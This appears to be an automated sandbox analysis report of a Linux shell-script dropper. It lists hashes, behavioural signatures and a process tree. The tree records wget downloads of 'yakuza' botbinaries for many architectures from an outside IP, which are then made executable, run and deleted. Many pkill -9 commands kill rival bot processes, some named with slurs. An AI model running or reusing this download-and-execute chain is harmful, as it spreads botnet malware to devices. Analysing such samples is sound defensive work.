Analysis
-
max time kernel
150s -
max time network
150s -
platform
debian-9_armhf -
resource
debian9-armhf-20240418-en -
resource tags
arch:armhfimage:debian9-armhf-20240418-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem -
submitted
13-11-2024 02:19
Static task
static1
Behavioral task
behavioral1
Sample
41fad988fd44fcd0e58f195773c40b5c8a45e15870a096746414922b05f653b1.sh
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral2
Sample
41fad988fd44fcd0e58f195773c40b5c8a45e15870a096746414922b05f653b1.sh
Resource
debian9-armhf-20240418-en
Behavioral task
behavioral3
Sample
41fad988fd44fcd0e58f195773c40b5c8a45e15870a096746414922b05f653b1.sh
Resource
debian9-mipsbe-20240611-en
Behavioral task
behavioral4
Sample
41fad988fd44fcd0e58f195773c40b5c8a45e15870a096746414922b05f653b1.sh
Resource
debian9-mipsel-20240611-en
General
-
Target
41fad988fd44fcd0e58f195773c40b5c8a45e15870a096746414922b05f653b1.sh
-
Size
1KB
-
MD5
06e945470e277d1953b8348f96d6bdab
-
SHA1
97c9f6a0ac42ab524a999911fb340a9201eb7f77
-
SHA256
41fad988fd44fcd0e58f195773c40b5c8a45e15870a096746414922b05f653b1
-
SHA512
9296c41fdc556cee147ab81f052d487dcbe9f8ea8227896e3f389f14bebeeaf6b440fb677b3ea33c629430127b4eedf4776bb0576d14c758afd481ee007307ab
Malware Config
Signatures
-
Contacts a large (7847) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
-
File and Directory Permissions Modification 1 TTPs 13 IoCs
Adversaries may modify file or directory permissions to evade defenses.
Processes:
chmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodpid Process 688 chmod 762 chmod 780 chmod 756 chmod 659 chmod 674 chmod 679 chmod 701 chmod 717 chmod 731 chmod 744 chmod 797 chmod 814 chmod -
Executes dropped EXE 1 IoCs
Processes:
yakuza.mipsioc pid Process /tmp/yakuza.mips 661 yakuza.mips -
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
-
Enumerates running processes
Discovers information about currently running processes on the system
-
Reads CPU attributes 1 TTPs 64 IoCs
Processes:
pkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkilldescription ioc Process File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online File opened for reading /sys/devices/system/cpu/online File opened for reading /sys/devices/system/cpu/online File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online File opened for reading /sys/devices/system/cpu/online File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online File opened for reading /sys/devices/system/cpu/online File opened for reading /sys/devices/system/cpu/online File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online File opened for reading /sys/devices/system/cpu/online File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online File opened for reading /sys/devices/system/cpu/online File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online -
Command and Scripting Interpreter: Unix Shell 1 TTPs 64 IoCs
Execute scripts via Unix Shell.
Processes:
shshshshshshshshshshshshshshshshshshshshshshshshshshshshshshshshshshshshshshshshshshshshshshpid Process 2108 1046 sh 1558 sh 1058 sh 1180 sh 1204 sh 1364 sh 1645 sh 1659 sh 1994 2144 2242 1302 sh 2180 826 sh 1192 sh 1278 sh 1672 sh 906 sh 2057 1217 sh 1498 sh 1721 sh 1158 sh 1608 sh 2120 2218 861 sh 1132 sh 1352 sh 1772 sh 920 sh 1967 839 sh 981 sh 1685 sh 1928 1242 sh 1572 sh 1940 2006 882 sh 1474 sh 1820 1982 1034 sh 1144 sh 1230 sh 1462 sh 2033 2045 996 sh 1070 sh 1388 sh 1400 sh 1534 sh 1697 sh 1759 sh 933 sh 2069 2192 1022 sh 1266 sh 1709 sh -
Processes:
pkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillyakuza.arm6pkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkillpkilldescription ioc Process File opened for reading /proc/75/cmdline pkill File opened for reading /proc/18/cmdline pkill File opened for reading /proc/767/cmdline pkill File opened for reading /proc/767/status pkill File opened for reading /proc/6/cmdline pkill File opened for reading /proc/13/status File opened for reading /proc/97/status pkill File opened for reading /proc/163/cmdline pkill File opened for reading /proc/14/status pkill File opened for reading /proc/2019/status File opened for reading /proc/1/cmdline pkill File opened for reading /proc/309/cmdline pkill File opened for reading /proc/97/status pkill File opened for reading /proc/5/cmdline pkill File opened for reading /proc/643/cmdline pkill File opened for reading /proc/590/status pkill File opened for reading /proc/309/cmdline File opened for reading /proc/303/status pkill File opened for reading /proc/3/status File opened for reading /proc/43/status pkill File opened for reading /proc/636/status pkill File opened for reading /proc/21/status pkill File opened for reading /proc/11/cmdline pkill File opened for reading /proc/146/status pkill File opened for reading /proc/144/status pkill File opened for reading /proc/730/cmdline pkill File opened for reading /proc/593/cmdline pkill File opened for reading /proc/18/status File opened for reading /proc/301/status File opened for reading /proc/25/cmdline pkill File opened for reading /proc/163/cmdline pkill File opened for reading /proc/309/status File opened for reading /proc/stat yakuza.arm6 File opened for reading /proc/10/status pkill File opened for reading /proc/6/status pkill File opened for reading /proc/135/status pkill File opened for reading /proc/271/cmdline pkill File opened for reading /proc/7/cmdline pkill File opened for reading /proc/592/cmdline File opened for reading /proc/144/cmdline pkill File opened for reading /proc/7/cmdline pkill File opened for reading /proc/105/cmdline pkill File opened for reading /proc/144/status pkill File opened for reading /proc/593/status pkill File opened for reading /proc/28/status pkill File opened for reading /proc/707/cmdline pkill File opened for reading /proc/272/cmdline pkill File opened for reading /proc/767/cmdline File opened for reading /proc/25/cmdline File opened for reading /proc/588/cmdline pkill File opened for reading /proc/635/cmdline pkill File opened for reading /proc/75/cmdline pkill File opened for reading /proc/16/cmdline File opened for reading /proc/767/cmdline pkill File opened for reading /proc/14/status pkill File opened for reading /proc/107/cmdline pkill File opened for reading /proc/13/cmdline pkill File opened for reading /proc/635/status pkill File opened for reading /proc/42/status pkill File opened for reading /proc/588/status pkill File opened for reading /proc/588/cmdline File opened for reading /proc/314/cmdline File opened for reading /proc/1617/status File opened for reading /proc/1037/status pkill -
System Network Configuration Discovery 1 TTPs 18 IoCs
Adversaries may gather information about the network configuration of a system.
Processes:
pkillbusyboxshbusyboxyakuza.mipsshshpkillrmpkillyakuza.mipselwgetrmbusyboxpkillshbusyboxwgetpid Process 1696 pkill 1729 busybox 1759 sh 1762 busybox 661 yakuza.mips 1695 sh 1724 sh 1740 pkill 665 rm 1760 pkill 675 yakuza.mipsel 666 wget 677 rm 1701 busybox 1725 pkill 1737 sh 1742 busybox 640 wget -
Writes file to tmp directory 13 IoCs
Malware often drops required files in the /tmp directory.
Processes:
wgetwgetwgetwgetwgetwgetwgetwgetwgetwgetwgetwgetwgetdescription ioc Process File opened for modification /tmp/yakuza.i586 wget File opened for modification /tmp/yakuza.arm7 wget File opened for modification /tmp/yakuza.mips wget File opened for modification /tmp/yakuza.mipsel wget File opened for modification /tmp/yakuza.sh wget File opened for modification /tmp/yakuza.arm6 wget File opened for modification /tmp/yakuza.arm4 wget File opened for modification /tmp/yakuza.arm5 wget File opened for modification /tmp/yakuza.sparc wget File opened for modification /tmp/yakuza.x86 wget File opened for modification /tmp/yakuza.i686 wget File opened for modification /tmp/yakuza.ppc wget File opened for modification /tmp/yakuza.m68k wget
Processes
-
/tmp/41fad988fd44fcd0e58f195773c40b5c8a45e15870a096746414922b05f653b1.sh/tmp/41fad988fd44fcd0e58f195773c40b5c8a45e15870a096746414922b05f653b1.sh1⤵PID:638
-
/usr/bin/wgetwget http://82.57.165.95/yakuza.mips2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:640
-
-
/bin/chmodchmod +x yakuza.mips2⤵
- File and Directory Permissions Modification
PID:659
-
-
/tmp/yakuza.mips./yakuza.mips2⤵
- Executes dropped EXE
- System Network Configuration Discovery
PID:661
-
-
/bin/rmrm -rf yakuza.mips2⤵
- System Network Configuration Discovery
PID:665
-
-
/usr/bin/wgetwget http://82.57.165.95/yakuza.mipsel2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:666
-
-
/bin/chmodchmod +x yakuza.mipsel2⤵
- File and Directory Permissions Modification
PID:674
-
-
/tmp/yakuza.mipsel./yakuza.mipsel2⤵
- System Network Configuration Discovery
PID:675
-
-
/bin/rmrm -rf yakuza.mipsel2⤵
- System Network Configuration Discovery
PID:677
-
-
/usr/bin/wgetwget http://82.57.165.95/yakuza.sh2⤵
- Writes file to tmp directory
PID:678
-
-
/bin/chmodchmod +x yakuza.sh2⤵
- File and Directory Permissions Modification
PID:679
-
-
/tmp/yakuza.sh./yakuza.sh2⤵PID:680
-
-
/bin/rmrm -rf yakuza.sh2⤵PID:682
-
-
/usr/bin/wgetwget http://82.57.165.95/yakuza.x862⤵
- Writes file to tmp directory
PID:683
-
-
/bin/chmodchmod +x yakuza.x862⤵
- File and Directory Permissions Modification
PID:688
-
-
/tmp/yakuza.x86./yakuza.x862⤵PID:689
-
-
/bin/rmrm -rf yakuza.x862⤵PID:691
-
-
/usr/bin/wgetwget http://82.57.165.95/yakuza.arm62⤵
- Writes file to tmp directory
PID:693
-
-
/bin/chmodchmod +x yakuza.arm62⤵
- File and Directory Permissions Modification
PID:701
-
-
/tmp/yakuza.arm6./yakuza.arm62⤵
- Reads runtime system information
PID:702 -
/bin/shsh -c "pkill -9 902i13 || busybox pkill -9 902i13"3⤵PID:708
-
/usr/bin/pkillpkill -9 902i134⤵PID:710
-
-
/bin/busyboxbusybox pkill -9 902i134⤵PID:713
-
-
-
/bin/shsh -c "pkill -9 BzSxLxBxeY || busybox pkill -9 BzSxLxBxeY"3⤵PID:735
-
/usr/bin/pkillpkill -9 BzSxLxBxeY4⤵PID:738
-
-
/bin/busyboxbusybox pkill -9 BzSxLxBxeY4⤵PID:740
-
-
-
/bin/shsh -c "pkill -9 HOHO-LUGO7 || busybox pkill -9 HOHO-LUGO7"3⤵PID:754
-
/usr/bin/pkillpkill -9 HOHO-LUGO74⤵PID:755
-
-
/bin/busyboxbusybox pkill -9 HOHO-LUGO74⤵PID:761
-
-
-
/bin/shsh -c "pkill -9 HOHO-U79OL || busybox pkill -9 HOHO-U79OL"3⤵PID:771
-
/usr/bin/pkillpkill -9 HOHO-U79OL4⤵
- Reads runtime system information
PID:774
-
-
/bin/busyboxbusybox pkill -9 HOHO-U79OL4⤵PID:776
-
-
-
/bin/shsh -c "pkill -9 JuYfouyf87 || busybox pkill -9 JuYfouyf87"3⤵PID:794
-
/usr/bin/pkillpkill -9 JuYfouyf874⤵PID:795
-
-
/bin/busyboxbusybox pkill -9 JuYfouyf874⤵PID:807
-
-
-
/bin/shsh -c "pkill -9 NiGGeR69xd || busybox pkill -9 NiGGeR69xd"3⤵PID:818
-
/usr/bin/pkillpkill -9 NiGGeR69xd4⤵PID:820
-
-
/bin/busyboxbusybox pkill -9 NiGGeR69xd4⤵PID:822
-
-
-
/bin/shsh -c "pkill -9 SO190Ij1X || busybox pkill -9 SO190Ij1X"3⤵PID:829
-
/usr/bin/pkillpkill -9 SO190Ij1X4⤵PID:830
-
-
/bin/busyboxbusybox pkill -9 SO190Ij1X4⤵PID:834
-
-
-
/bin/shsh -c "pkill -9 LOLKIKEEEDDE || busybox pkill -9 LOLKIKEEEDDE"3⤵PID:842
-
/usr/bin/pkillpkill -9 LOLKIKEEEDDE4⤵PID:843
-
-
/bin/busyboxbusybox pkill -9 LOLKIKEEEDDE4⤵PID:849
-
-
-
/bin/shsh -c "pkill -9 ekjheory98e || busybox pkill -9 ekjheory98e"3⤵PID:865
-
/usr/bin/pkillpkill -9 ekjheory98e4⤵PID:866
-
-
/bin/busyboxbusybox pkill -9 ekjheory98e4⤵PID:872
-
-
-
/bin/shsh -c "pkill -9 scansh4 || busybox pkill -9 scansh4"3⤵PID:886
-
/usr/bin/pkillpkill -9 scansh44⤵PID:887
-
-
/bin/busyboxbusybox pkill -9 scansh44⤵PID:892
-
-
-
/bin/shsh -c "pkill -9 MDMA || busybox pkill -9 MDMA"3⤵PID:907
-
/usr/bin/pkillpkill -9 MDMA4⤵
- Reads CPU attributes
PID:909
-
-
/bin/busyboxbusybox pkill -9 MDMA4⤵PID:914
-
-
-
/bin/shsh -c "pkill -9 fdevalvex || busybox pkill -9 fdevalvex"3⤵PID:921
-
/usr/bin/pkillpkill -9 fdevalvex4⤵PID:923
-
-
/bin/busyboxbusybox pkill -9 fdevalvex4⤵PID:928
-
-
-
/bin/shsh -c "pkill -9 scanspc || busybox pkill -9 scanspc"3⤵PID:935
-
/usr/bin/pkillpkill -9 scanspc4⤵PID:936
-
-
/bin/busyboxbusybox pkill -9 scanspc4⤵PID:940
-
-
-
/bin/shsh -c "pkill -9 MELTEDNINJAREALZ || busybox pkill -9 MELTEDNINJAREALZ"3⤵PID:947
-
/usr/bin/pkillpkill -9 MELTEDNINJAREALZ4⤵PID:948
-
-
/bin/busyboxbusybox pkill -9 MELTEDNINJAREALZ4⤵PID:952
-
-
-
/bin/shsh -c "pkill -9 flexsonskids || busybox pkill -9 flexsonskids"3⤵PID:959
-
/usr/bin/pkillpkill -9 flexsonskids4⤵
- Reads runtime system information
PID:960
-
-
/bin/busyboxbusybox pkill -9 flexsonskids4⤵PID:964
-
-
-
/bin/shsh -c "pkill -9 scanx86 || busybox pkill -9 scanx86"3⤵PID:971
-
/usr/bin/pkillpkill -9 scanx864⤵PID:972
-
-
/bin/busyboxbusybox pkill -9 scanx864⤵PID:977
-
-
-
/bin/shsh -c "pkill -9 MISAKI-U79OL || busybox pkill -9 MISAKI-U79OL"3⤵PID:986
-
/usr/bin/pkillpkill -9 MISAKI-U79OL4⤵
- Reads runtime system information
PID:987
-
-
/bin/busyboxbusybox pkill -9 MISAKI-U79OL4⤵PID:993
-
-
-
/bin/shsh -c "pkill -9 foAxi102kxe || busybox pkill -9 foAxi102kxe"3⤵PID:998
-
/usr/bin/pkillpkill -9 foAxi102kxe4⤵PID:999
-
-
/bin/busyboxbusybox pkill -9 foAxi102kxe4⤵PID:1006
-
-
-
/bin/shsh -c "pkill -9 swodjwodjwoj || busybox pkill -9 swodjwodjwoj"3⤵PID:1013
-
/usr/bin/pkillpkill -9 swodjwodjwoj4⤵
- Reads runtime system information
PID:1014
-
-
/bin/busyboxbusybox pkill -9 swodjwodjwoj4⤵PID:1015
-
-
-
/bin/shsh -c "pkill -9 MmKiy7f87l || busybox pkill -9 MmKiy7f87l"3⤵PID:1025
-
/usr/bin/pkillpkill -9 MmKiy7f87l4⤵PID:1026
-
-
/bin/busyboxbusybox pkill -9 MmKiy7f87l4⤵PID:1027
-
-
-
/bin/shsh -c "pkill -9 freecookiex86 || busybox pkill -9 freecookiex86"3⤵PID:1037
-
/usr/bin/pkillpkill -9 freecookiex864⤵
- Reads runtime system information
PID:1038
-
-
/bin/busyboxbusybox pkill -9 freecookiex864⤵PID:1039
-
-
-
/bin/shsh -c "pkill -9 sysgpu || busybox pkill -9 sysgpu"3⤵PID:1049
-
/usr/bin/pkillpkill -9 sysgpu4⤵PID:1050
-
-
/bin/busyboxbusybox pkill -9 sysgpu4⤵PID:1051
-
-
-
/bin/shsh -c "pkill -9 NiGGeR69xd || busybox pkill -9 NiGGeR69xd"3⤵PID:1061
-
/usr/bin/pkillpkill -9 NiGGeR69xd4⤵PID:1062
-
-
/bin/busyboxbusybox pkill -9 NiGGeR69xd4⤵PID:1063
-
-
-
/bin/shsh -c "pkill -9 frgege || busybox pkill -9 frgege"3⤵PID:1073
-
/usr/bin/pkillpkill -9 frgege4⤵PID:1074
-
-
/bin/busyboxbusybox pkill -9 frgege4⤵PID:1075
-
-
-
/bin/shsh -c "pkill -9 sysupdater || busybox pkill -9 sysupdater"3⤵PID:1085
-
/usr/bin/pkillpkill -9 sysupdater4⤵PID:1086
-
-
/bin/busyboxbusybox pkill -9 sysupdater4⤵PID:1087
-
-
-
/bin/shsh -c "pkill -9 0DnAzepd || busybox pkill -9 0DnAzepd"3⤵PID:1097
-
/usr/bin/pkillpkill -9 0DnAzepd4⤵
- Reads CPU attributes
PID:1098
-
-
/bin/busyboxbusybox pkill -9 0DnAzepd4⤵PID:1099
-
-
-
/bin/shsh -c "pkill -9 NiGGeRD0nks69 || busybox pkill -9 NiGGeRD0nks69"3⤵PID:1107
-
/usr/bin/pkillpkill -9 NiGGeRD0nks694⤵PID:1109
-
-
/bin/busyboxbusybox pkill -9 NiGGeRD0nks694⤵PID:1113
-
-
-
/bin/shsh -c "pkill -9 frgreu || busybox pkill -9 frgreu"3⤵PID:1121
-
/usr/bin/pkillpkill -9 frgreu4⤵PID:1122
-
-
/bin/busyboxbusybox pkill -9 frgreu4⤵PID:1124
-
-
-
/bin/shsh -c "pkill -9 telnetd || busybox pkill -9 telnetd"3⤵PID:1131
-
/usr/bin/pkillpkill -9 telnetd4⤵PID:1133
-
-
/bin/busyboxbusybox pkill -9 telnetd4⤵PID:1137
-
-
-
/bin/shsh -c "pkill -9 0x766f6964 || busybox pkill -9 0x766f6964"3⤵PID:1145
-
/usr/bin/pkillpkill -9 0x766f69644⤵PID:1147
-
-
/bin/busyboxbusybox pkill -9 0x766f69644⤵PID:1148
-
-
-
/bin/shsh -c "pkill -9 NiGGeRd0nks1337 || busybox pkill -9 NiGGeRd0nks1337"3⤵PID:1156
-
/usr/bin/pkillpkill -9 NiGGeRd0nks13374⤵PID:1157
-
-
/bin/busyboxbusybox pkill -9 NiGGeRd0nks13374⤵PID:1160
-
-
-
/bin/shsh -c "pkill -9 gaft || busybox pkill -9 gaft"3⤵PID:1168
-
/usr/bin/pkillpkill -9 gaft4⤵PID:1169
-
-
/bin/busyboxbusybox pkill -9 gaft4⤵PID:1173
-
-
-
/bin/shsh -c "pkill -9 urasgbsigboa || busybox pkill -9 urasgbsigboa"3⤵PID:1183
-
/usr/bin/pkillpkill -9 urasgbsigboa4⤵PID:1184
-
-
/bin/busyboxbusybox pkill -9 urasgbsigboa4⤵PID:1185
-
-
-
/bin/shsh -c "pkill -9 120i3UI49 || busybox pkill -9 120i3UI49"3⤵PID:1195
-
/usr/bin/pkillpkill -9 120i3UI494⤵PID:1196
-
-
/bin/busyboxbusybox pkill -9 120i3UI494⤵PID:1197
-
-
-
/bin/shsh -c "pkill -9 OaF3 || busybox pkill -9 OaF3"3⤵PID:1207
-
/usr/bin/pkillpkill -9 OaF34⤵PID:1208
-
-
/bin/busyboxbusybox pkill -9 OaF34⤵PID:1209
-
-
-
/bin/shsh -c "pkill -9 geae || busybox pkill -9 geae"3⤵PID:1221
-
/usr/bin/pkillpkill -9 geae4⤵PID:1222
-
-
/bin/busyboxbusybox pkill -9 geae4⤵PID:1223
-
-
-
/bin/shsh -c "pkill -9 vaiolmao || busybox pkill -9 vaiolmao"3⤵PID:1233
-
/usr/bin/pkillpkill -9 vaiolmao4⤵
- Reads runtime system information
PID:1234
-
-
/bin/busyboxbusybox pkill -9 vaiolmao4⤵PID:1235
-
-
-
/bin/shsh -c "pkill -9 123123a || busybox pkill -9 123123a"3⤵PID:1245
-
/usr/bin/pkillpkill -9 123123a4⤵PID:1246
-
-
/bin/busyboxbusybox pkill -9 123123a4⤵PID:1248
-
-
-
/bin/shsh -c "pkill -9 Ofurain0n4H34D || busybox pkill -9 Ofurain0n4H34D"3⤵PID:1257
-
/usr/bin/pkillpkill -9 Ofurain0n4H34D4⤵PID:1258
-
-
/bin/busyboxbusybox pkill -9 Ofurain0n4H34D4⤵PID:1260
-
-
-
/bin/shsh -c "pkill -9 ggTrex || busybox pkill -9 ggTrex"3⤵PID:1269
-
/usr/bin/pkillpkill -9 ggTrex4⤵PID:1270
-
-
/bin/busyboxbusybox pkill -9 ggTrex4⤵PID:1271
-
-
-
/bin/shsh -c "pkill -9 wasads || busybox pkill -9 wasads"3⤵PID:1281
-
/usr/bin/pkillpkill -9 wasads4⤵PID:1282
-
-
/bin/busyboxbusybox pkill -9 wasads4⤵PID:1284
-
-
-
/bin/shsh -c "pkill -9 1293194hjXD || busybox pkill -9 1293194hjXD"3⤵PID:1293
-
/usr/bin/pkillpkill -9 1293194hjXD4⤵
- Reads CPU attributes
- Reads runtime system information
PID:1294
-
-
/bin/busyboxbusybox pkill -9 1293194hjXD4⤵PID:1296
-
-
-
/bin/shsh -c "pkill -9 OthLaLosn || busybox pkill -9 OthLaLosn"3⤵PID:1305
-
/usr/bin/pkillpkill -9 OthLaLosn4⤵
- Reads CPU attributes
- Reads runtime system information
PID:1306
-
-
/bin/busyboxbusybox pkill -9 OthLaLosn4⤵PID:1307
-
-
-
/bin/shsh -c "pkill -9 ggt || busybox pkill -9 ggt"3⤵PID:1317
-
/usr/bin/pkillpkill -9 ggt4⤵PID:1318
-
-
/bin/busyboxbusybox pkill -9 ggt4⤵PID:1319
-
-
-
/bin/shsh -c "pkill -9 wget-log || busybox pkill -9 wget-log"3⤵PID:1330
-
/usr/bin/pkillpkill -9 wget-log4⤵PID:1331
-
-
/bin/busyboxbusybox pkill -9 wget-log4⤵PID:1335
-
-
-
/bin/shsh -c "pkill -9 1337SoraLOADER || busybox pkill -9 1337SoraLOADER"3⤵PID:1343
-
/usr/bin/pkillpkill -9 1337SoraLOADER4⤵PID:1344
-
-
/bin/busyboxbusybox pkill -9 1337SoraLOADER4⤵PID:1345
-
-
-
/bin/shsh -c "pkill -9 SAIAKINA || busybox pkill -9 SAIAKINA"3⤵PID:1355
-
/usr/bin/pkillpkill -9 SAIAKINA4⤵PID:1356
-
-
/bin/busyboxbusybox pkill -9 SAIAKINA4⤵PID:1359
-
-
-
/bin/shsh -c "pkill -9 ggtq || busybox pkill -9 ggtq"3⤵PID:1367
-
/usr/bin/pkillpkill -9 ggtq4⤵
- Reads runtime system information
PID:1368
-
-
/bin/busyboxbusybox pkill -9 ggtq4⤵PID:1369
-
-
-
/bin/shsh -c "pkill -9 1378bfp919GRB1Q2 || busybox pkill -9 1378bfp919GRB1Q2"3⤵PID:1379
-
/usr/bin/pkillpkill -9 1378bfp919GRB1Q24⤵PID:1380
-
-
/bin/busyboxbusybox pkill -9 1378bfp919GRB1Q24⤵PID:1381
-
-
-
/bin/shsh -c "pkill -9 SAIAKUSO || busybox pkill -9 SAIAKUSO"3⤵PID:1391
-
/usr/bin/pkillpkill -9 SAIAKUSO4⤵PID:1392
-
-
/bin/busyboxbusybox pkill -9 SAIAKUSO4⤵PID:1393
-
-
-
/bin/shsh -c "pkill -9 ggtr || busybox pkill -9 ggtr"3⤵PID:1403
-
/usr/bin/pkillpkill -9 ggtr4⤵PID:1404
-
-
/bin/busyboxbusybox pkill -9 ggtr4⤵PID:1405
-
-
-
/bin/shsh -c "pkill -9 14Fa || busybox pkill -9 14Fa"3⤵PID:1415
-
/usr/bin/pkillpkill -9 14Fa4⤵PID:1416
-
-
/bin/busyboxbusybox pkill -9 14Fa4⤵PID:1417
-
-
-
/bin/shsh -c "pkill -9 SEXSLAVE1337 || busybox pkill -9 SEXSLAVE1337"3⤵PID:1427
-
/usr/bin/pkillpkill -9 SEXSLAVE13374⤵
- Reads runtime system information
PID:1428
-
-
/bin/busyboxbusybox pkill -9 SEXSLAVE13374⤵PID:1429
-
-
-
/bin/shsh -c "pkill -9 ggtt || busybox pkill -9 ggtt"3⤵PID:1439
-
/usr/bin/pkillpkill -9 ggtt4⤵PID:1440
-
-
/bin/busyboxbusybox pkill -9 ggtt4⤵PID:1441
-
-
-
/bin/shsh -c "pkill -9 1902a3u912u3u4 || busybox pkill -9 1902a3u912u3u4"3⤵PID:1453
-
/usr/bin/pkillpkill -9 1902a3u912u3u44⤵
- Reads runtime system information
PID:1454
-
-
/bin/busyboxbusybox pkill -9 1902a3u912u3u44⤵PID:1455
-
-
-
/bin/shsh -c "pkill -9 SO190Ij1X || busybox pkill -9 SO190Ij1X"3⤵PID:1465
-
/usr/bin/pkillpkill -9 SO190Ij1X4⤵
- Reads runtime system information
PID:1466
-
-
/bin/busyboxbusybox pkill -9 SO190Ij1X4⤵PID:1467
-
-
-
/bin/shsh -c "pkill -9 haetrghbr || busybox pkill -9 haetrghbr"3⤵PID:1477
-
/usr/bin/pkillpkill -9 haetrghbr4⤵PID:1478
-
-
/bin/busyboxbusybox pkill -9 haetrghbr4⤵PID:1479
-
-
-
/bin/shsh -c "pkill -9 19ju3d || busybox pkill -9 19ju3d"3⤵PID:1489
-
/usr/bin/pkillpkill -9 19ju3d4⤵PID:1490
-
-
/bin/busyboxbusybox pkill -9 19ju3d4⤵PID:1491
-
-
-
/bin/shsh -c "pkill -9 SORAojkf120 || busybox pkill -9 SORAojkf120"3⤵PID:1501
-
/usr/bin/pkillpkill -9 SORAojkf1204⤵PID:1502
-
-
/bin/busyboxbusybox pkill -9 SORAojkf1204⤵PID:1503
-
-
-
/bin/shsh -c "pkill -9 hehahejeje92 || busybox pkill -9 hehahejeje92"3⤵PID:1513
-
/usr/bin/pkillpkill -9 hehahejeje924⤵PID:1514
-
-
/bin/busyboxbusybox pkill -9 hehahejeje924⤵PID:1515
-
-
-
/bin/shsh -c "pkill -9 2U2JDJA901F91 || busybox pkill -9 2U2JDJA901F91"3⤵PID:1525
-
/usr/bin/pkillpkill -9 2U2JDJA901F914⤵PID:1526
-
-
/bin/busyboxbusybox pkill -9 2U2JDJA901F914⤵PID:1527
-
-
-
/bin/shsh -c "pkill -9 SlaVLav12 || busybox pkill -9 SlaVLav12"3⤵PID:1537
-
/usr/bin/pkillpkill -9 SlaVLav124⤵PID:1538
-
-
/bin/busyboxbusybox pkill -9 SlaVLav124⤵PID:1539
-
-
-
/bin/shsh -c "pkill -9 helpmedaddthhhhh || busybox pkill -9 helpmedaddthhhhh"3⤵PID:1549
-
/usr/bin/pkillpkill -9 helpmedaddthhhhh4⤵PID:1550
-
-
/bin/busyboxbusybox pkill -9 helpmedaddthhhhh4⤵PID:1551
-
-
-
/bin/shsh -c "pkill -9 2wgg9qphbq || busybox pkill -9 2wgg9qphbq"3⤵PID:1563
-
/usr/bin/pkillpkill -9 2wgg9qphbq4⤵PID:1564
-
-
/bin/busyboxbusybox pkill -9 2wgg9qphbq4⤵PID:1565
-
-
-
/bin/shsh -c "pkill -9 Slav3Th3seD3vices || busybox pkill -9 Slav3Th3seD3vices"3⤵PID:1575
-
/usr/bin/pkillpkill -9 Slav3Th3seD3vices4⤵PID:1576
-
-
/bin/busyboxbusybox pkill -9 Slav3Th3seD3vices4⤵PID:1577
-
-
-
/bin/shsh -c "pkill -9 hzSmYZjYMQ || busybox pkill -9 hzSmYZjYMQ"3⤵PID:1587
-
/usr/bin/pkillpkill -9 hzSmYZjYMQ4⤵PID:1588
-
-
/bin/busyboxbusybox pkill -9 hzSmYZjYMQ4⤵PID:1589
-
-
-
/bin/shsh -c "pkill -9 5Gbf || busybox pkill -9 5Gbf"3⤵PID:1599
-
/usr/bin/pkillpkill -9 5Gbf4⤵
- Reads runtime system information
PID:1600
-
-
/bin/busyboxbusybox pkill -9 5Gbf4⤵PID:1601
-
-
-
/bin/shsh -c "pkill -9 SoRAxD123LOL || busybox pkill -9 SoRAxD123LOL"3⤵PID:1611
-
/usr/bin/pkillpkill -9 SoRAxD123LOL4⤵PID:1612
-
-
/bin/busyboxbusybox pkill -9 SoRAxD123LOL4⤵PID:1613
-
-
-
